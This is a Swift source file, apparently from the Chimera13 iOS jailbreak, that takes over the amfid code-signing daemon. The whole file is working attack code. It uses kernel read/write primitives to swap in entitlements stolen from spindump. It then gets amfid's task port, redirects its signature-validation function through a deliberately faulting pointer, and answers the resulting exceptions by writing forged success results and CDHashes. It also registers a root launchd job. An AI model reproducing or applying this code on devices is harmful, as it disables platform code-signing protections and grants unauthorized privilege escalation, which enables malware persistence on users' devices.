//
//  amfidtakeover.swift
//  Chimera13
//
//  Created by CoolStar on 3/30/20.
//  Copyright © 2020 coolstar. All rights reserved.
//

import Foundation
import Darwin.POSIX.spawn
import Darwin.Mach.message
import Darwin.Mach.thread_status

let ARM_THREAD_STATE64_COUNT = MemoryLayout<arm_thread_state64_t>.size/MemoryLayout<UInt32>.size

class AmfidTakeover {
    let offsets = Offsets.shared
    private var electra: Electra
    
    private var amfid_task_port: mach_port_t = mach_port_t()
    private var exceptionPort = mach_port_t()
    
    #if MAINAPP
    private var our_entitlements: UInt64 = 0
    private var spindump_entitlements: UInt64 = 0
    
    private var spindump_pid: pid_t = 0
    private var spindump_proc: UInt64 = 0
    private var has_entitlements = false
    
    public var amfidebilitate_spawned = false
    #else
    private var exit_amfidebilitate = false
    #endif
    
    init(electra: Electra) {
        self.electra = electra
    }
    
    #if MAINAPP
    public func grabEntitlements(our_proc: UInt64) -> Bool {
        guard !has_entitlements else {
            return false
        }
        
        var attrp: posix_spawnattr_t?
        posix_spawnattr_init(&attrp)
        posix_spawnattr_setflags(&attrp, Int16(POSIX_SPAWN_START_SUSPENDED))
        
        let args = ["spindump"]
        
        let argv: [UnsafeMutablePointer<CChar>?] = args.map { $0.withCString(strdup) }
        defer { for case let arg? in argv { free(arg) } }
        
        var pid: pid_t = 0
        let retVal = posix_spawn(&pid, "/usr/sbin/spindump", nil, &attrp, argv + [nil], environ)
        if retVal < 0 {
            return false
        }
        
        self.spindump_pid = pid
        
        self.spindump_proc = electra.find_proc(pid: UInt32(pid))
        guard self.spindump_proc != 0 else {
            return false
        }
        
        let our_ucred = rk64(our_proc + offsets.proc.ucred)
        let spindump_ucred = rk64(spindump_proc + offsets.proc.ucred)
        
        our_entitlements = rk64(rk64(our_ucred + offsets.ucred.cr_label) + 0x8)
        spindump_entitlements = rk64(rk64(spindump_ucred + offsets.ucred.cr_label) + 0x8)
        
        wk64(rk64(our_ucred + offsets.ucred.cr_label) + 0x8, spindump_entitlements)
        
        has_entitlements = true
        return true
    }
    
    public func resetEntitlements(our_proc: UInt64) {
        guard has_entitlements else {
            return
        }
        
        has_entitlements = false
        let our_ucred = rk64(our_proc + offsets.proc.ucred)
        
        wk64(rk64(our_ucred + offsets.ucred.cr_label) + 0x8, our_entitlements)
        kill(spindump_pid, SIGKILL)
    }
    #endif
    
    private func loadAddr(port: mach_port_t) -> UInt64 {
        var region_count = mach_msg_type_number_t(VM_REGION_BASIC_INFO_64)
        var object_name = mach_port_t(MACH_PORT_NULL)
        
        var first_addr = mach_vm_address_t(0)
        var first_size = mach_vm_size_t(0x1000)
        
        var region = vm_region_basic_info_64()
        let regionSz = MemoryLayout.size(ofValue: region)
        let err = withUnsafeMutablePointer(to: &region) {
            $0.withMemoryRebound(to: Int32.self, capacity: regionSz) {
                mach_vm_region(port,
                               &first_addr,
                               &first_size,
                               VM_REGION_BASIC_INFO_64,
                               $0,
                               &region_count,
                               &object_name)
            }
        }
        if err != KERN_SUCCESS {
            print("Failed to get the region:", mach_error_string(err) ?? "")
            return 0
        }
        return first_addr
    }
    
    private func amfidWrite64(addr: UInt64, data: UInt64) {
        var data = data
        _ = withUnsafePointer(to: &data) {
            $0.withMemoryRebound(to: UInt8.self, capacity: MemoryLayout<UInt64>.size) {
                mach_vm_write(amfid_task_port, addr as mach_vm_address_t, $0, mach_msg_type_number_t(MemoryLayout<UInt64>.size))
            }
        }
    }
    
    private func amfidWrite32(addr: UInt64, data: UInt32) {
        var data = data
        _ = withUnsafePointer(to: &data) {
            $0.withMemoryRebound(to: UInt8.self, capacity: MemoryLayout<UInt32>.size) {
                mach_vm_write(amfid_task_port, addr as mach_vm_address_t, $0, mach_msg_type_number_t(MemoryLayout<UInt32>.size))
            }
        }
    }
    
    private func amfidRead32(addr: UInt64) -> UInt32 {
        var data = UInt32(0)
        _ = withUnsafeMutablePointer(to: &data) {
            $0.withMemoryRebound(to: UInt8.self, capacity: MemoryLayout<UInt32>.size) {
                var outSz = mach_vm_size_t()
                mach_vm_read_overwrite(amfid_task_port, addr as mach_vm_address_t, mach_vm_size_t(MemoryLayout<UInt32>.size), $0, &outSz)
            }
        }
        return data
    }
    
    private func amfidRead(addr: UInt64, len: Int) -> [UInt8] {
        var buf = [UInt8](repeating: 0, count: len)
        var size = mach_vm_size_t()
        mach_vm_read_overwrite(amfid_task_port, addr as mach_vm_address_t, mach_vm_size_t(len), &buf, &size)
        return buf
    }
    
    private func amfidWrite(addr: UInt64, data: UnsafePointer<UInt8>, len: Int) {
        mach_vm_write(amfid_task_port, addr, data, mach_msg_type_number_t(len))
    }
    
    private func isRet(opcode: UInt32) -> Bool {
        (((opcode >> 25) & 0x7f) == 0b1101011) && (((opcode >> 21) & 0xf) == 0b10)
    }
    
    public func takeoverAmfid(amfid_pid: UInt32) {
        #if MAINAPP
        guard has_entitlements else {
            return
        }
        #endif
        
        var standardError = FileHandle.standardError
        
        let retVal = task_for_pid(mach_task_self_, Int32(amfid_pid), &amfid_task_port)
        guard retVal == 0 else {
            print(String(format: "Unable to get amfid task: %s", mach_error_string(retVal)))
            return
        }
        
        let patchOffset = parseMacho(path: "/usr/libexec/amfid", symbol: "_MISValidateSignatureAndCopyInfo")
        let loadAddress = loadAddr(port: amfid_task_port)
        
        mach_port_allocate(mach_task_self_, MACH_PORT_RIGHT_RECEIVE, &exceptionPort)
        mach_port_insert_right(mach_task_self_, exceptionPort, exceptionPort, mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND))
        
        task_set_exception_ports(amfid_task_port, exception_mask_t(EXC_MASK_BAD_ACCESS), exceptionPort, EXCEPTION_DEFAULT, ARM_THREAD_STATE64)
        
        let page = vm_address_t(loadAddress + UInt64(patchOffset)) & ~vm_page_mask
        vm_protect(amfid_task_port, page, vm_page_size, 0, VM_PROT_READ | VM_PROT_WRITE)
        
        let patchAddr = loadAddress + UInt64(patchOffset)
        amfidWrite64(addr: patchAddr, data: signPtr(0x12345, patchAddr))
        
        print("Got amfid task port: ", amfid_task_port, to: &standardError)
        
        DispatchQueue(label: "amfidebilitate", qos: .userInteractive, attributes: [], autoreleaseFrequency: .workItem).async {
            var amfid_ret: UInt64 = 0
            
            while true {
                #if MAINAPP
                if self.amfidebilitate_spawned {
                    print("[amfid] amfidebilitate spawned. We done here.", to: &standardError)
                    mach_port_destroy(mach_task_self_, self.exceptionPort)
                    break
                }
                #else
                if self.exit_amfidebilitate {
                    break
                }
                #endif
                let head = UnsafeMutablePointer<mach_msg_header_t>.allocate(capacity: 0x4000)
                
                defer { head.deallocate() }
                
                var ret = mach_msg(head,
                                   MACH_RCV_MSG | MACH_RCV_LARGE | Int32(MACH_MSG_TIMEOUT_NONE),
                                   0,
                                   0x4000,
                                   self.exceptionPort,
                                   0, 0)
                guard ret == KERN_SUCCESS else {
                    print("[amfid] error receiving from port:", mach_error_string(ret) ?? "", to: &standardError)
                    continue
                }
                
                let req = head.withMemoryRebound(to: exception_raise_request.self,
                                                 capacity: 0x4000) { $0.pointee }
                
                let thread_port = req.thread.name
                let task_port = req.task.name
                
                defer {
                    var reply = exception_raise_reply()
                    reply.Head.msgh_bits = req.Head.msgh_bits & UInt32(MACH_MSGH_BITS_REMOTE_MASK)
                    reply.Head.msgh_size = mach_msg_size_t(MemoryLayout.size(ofValue: reply))
                    reply.Head.msgh_remote_port = req.Head.msgh_remote_port
                    reply.Head.msgh_local_port = mach_port_t(MACH_PORT_NULL)
                    reply.Head.msgh_id = req.Head.msgh_id + 0x64
                    
                    reply.NDR = req.NDR
                    reply.RetCode = KERN_SUCCESS
                    
                    ret = mach_msg(&reply.Head,
                                   1,
                                   reply.Head.msgh_size,
                                   0,
                                   mach_port_name_t(MACH_PORT_NULL),
                                   MACH_MSG_TIMEOUT_NONE,
                                   mach_port_name_t(MACH_PORT_NULL))
                    mach_port_deallocate(mach_task_self_, thread_port)
                    mach_port_deallocate(mach_task_self_, task_port)
                    
                    if ret != KERN_SUCCESS {
                        print("[amfid] error sending reply to exception: ", mach_error_string(ret) ?? "", to: &standardError)
                    }
                }
                
                var state = arm_thread_state64_t()
                var stateCnt = mach_msg_type_number_t(ARM_THREAD_STATE64_COUNT)
                
                ret = withUnsafeMutablePointer(to: &state) {
                    $0.withMemoryRebound(to: UInt32.self, capacity: MemoryLayout<arm_thread_state64_t>.size) {
                        thread_get_state(thread_port, ARM_THREAD_STATE64, $0, &stateCnt)
                    }
                }
                guard ret == KERN_SUCCESS else {
                    print("[amfid] error getting thread state:", mach_error_string(ret) ?? "", to: &standardError)
                    continue
                }
                
                if amfid_ret == 0 {
                    if #available(iOS 13.5, *) {
                        let lr = getLr(state)
                        
                        var offset = lr
                        var foundRet = false
                        while amfid_ret == 0 {
                            defer {
                                offset -= 4
                            }
                            let op = self.amfidRead32(addr: offset)
                            guard op != 0 else {
                                break
                            }
                            if self.isRet(opcode: op) {
                                foundRet = true
                            }
                            if op == 0x52800000 && foundRet {
                                amfid_ret = offset
                                break
                            }
                        }
                    } else {
                        let lr = getLr(state)
                        let pageDumpRaw = self.amfidRead(addr: lr, len: Int(vm_page_size))
                        for i in 0..<Int(vm_page_size) / MemoryLayout<UInt32>.size {
                            let offset = i * MemoryLayout<UInt32>.size
                            let op = pageDumpRaw.withUnsafeBytes {
                                $0.load(fromByteOffset: offset, as: UInt32.self)
                            }
                            if op == 0x52800000 {
                                amfid_ret = lr + UInt64(offset)
                            }
                            if self.isRet(opcode: op) {
                                break
                            }
                        }
                    }
                }
                
                defer {
                    setPc(&state, amfid_ret)
                    ret = withUnsafeMutablePointer(to: &state) {
                        $0.withMemoryRebound(to: UInt32.self, capacity: MemoryLayout<arm_thread_state64_t>.size) {
                            thread_set_state(thread_port, 6, $0, mach_msg_type_number_t(ARM_THREAD_STATE64_COUNT))
                        }
                    }
                    if ret != KERN_SUCCESS {
                        print("[amfid] error setting thread state:", mach_error_string(ret) ?? "", to: &standardError)
                    }
                }
                
                var fileNameRaw = self.amfidRead(addr: state.__x.23, len: 1024)
                if #available(iOS 13.5, *) {
                    fileNameRaw = self.amfidRead(addr: state.__x.24, len: 1024)
                }
                guard let fileNamePtr = fileNameRaw.withUnsafeBytes({ $0.bindMemory(to: UInt8.self) }).baseAddress else {
                    self.amfidWrite32(addr: state.__x.19, data: 0)
                    continue
                }
                
                let fileName = String(cString: fileNamePtr)
                let newCdHash = getCodeSignature(path: fileName)
                if newCdHash.count == CS_CDHASH_LEN {
                    if #available(iOS 13.5, *) {
                        self.amfidWrite(addr: state.__x.20, data: newCdHash, len: CS_CDHASH_LEN)
                    } else {
                        self.amfidWrite(addr: state.__x.24, data: newCdHash, len: CS_CDHASH_LEN)
                    }
                    self.amfidWrite32(addr: state.__x.19, data: 1)
                    
                    #if MAINAPP
                    if fileName == "/chimera/amfidebilitate" {
                        self.amfidebilitate_spawned = true
                        dlopen("/usr/lib/libmis.dylib", RTLD_NOW)
                        self.amfidWrite64(addr: patchAddr, data: signPtr(findSymbol("MISValidateSignatureAndCopyInfo"), patchAddr))
                    }
                    #endif
                } else {
                    self.amfidWrite32(addr: state.__x.19, data: 0)
                }
            }
        }
    }
    
    #if MAINAPP
    public func spawnAmfiDebilitate(allProc: UInt64) -> Bool {
        let dict = xpc_dictionary_create(nil, nil, 0)
        let request = xpc_dictionary_create(nil, nil, 0)
        let submitJob = xpc_dictionary_create(nil, nil, 0)
        let environmentVariables = xpc_dictionary_create(nil, nil, 0)
        
        let allProcStr = String(format: "0x%llx", allProc)
        xpc_dictionary_set_string(environmentVariables, "allProc", allProcStr.cString(using: .utf8)!)
        
        xpc_dictionary_set_bool(submitJob, "KeepAlive", true)
        xpc_dictionary_set_bool(submitJob, "RunAtLoad", true)
        xpc_dictionary_set_string(submitJob, "UserName", "root")
        xpc_dictionary_set_string(submitJob, "Program", "/chimera/amfidebilitate")
        xpc_dictionary_set_string(submitJob, "Label", "amfidebilitate")
        xpc_dictionary_set_string(submitJob, "POSIXSpawnType", "Interactive")
        xpc_dictionary_set_value(submitJob, "EnvironmentVariables", environmentVariables)
        
        xpc_dictionary_set_value(request, "SubmitJob", submitJob)
        xpc_dictionary_set_value(dict, "request", request)
        
        xpc_dictionary_set_uint64(dict, "subsystem", 7)
        xpc_dictionary_set_uint64(dict, "type", 7)
        xpc_dictionary_set_uint64(dict, "handle", 0)
        xpc_dictionary_set_uint64(dict, "routine", UInt64(ROUTINE_SUBMIT))
        
        var outDict: xpc_object_t?
        let rc = xpc_pipe_routine(xpc_bootstrap_pipe(), dict, &outDict)
        if rc == 0,
            let outDict = outDict {
            let rc2 = Int32(xpc_dictionary_get_int64(outDict, "error"))
            if rc2 != 0 {
                print(String(format: "Error submitting service: %s", xpc_strerror(rc2)))
                return false
            }
        } else if rc != 0 {
            print(String(format: "Error submitting service (no outdict): %s", xpc_strerror(rc)))
            return false
        }
        return true
    }
    #else
    public func cleanupAmfidTakeover() {
        exit_amfidebilitate = true
        mach_port_destroy(mach_task_self_, exceptionPort)
    }
    #endif
}
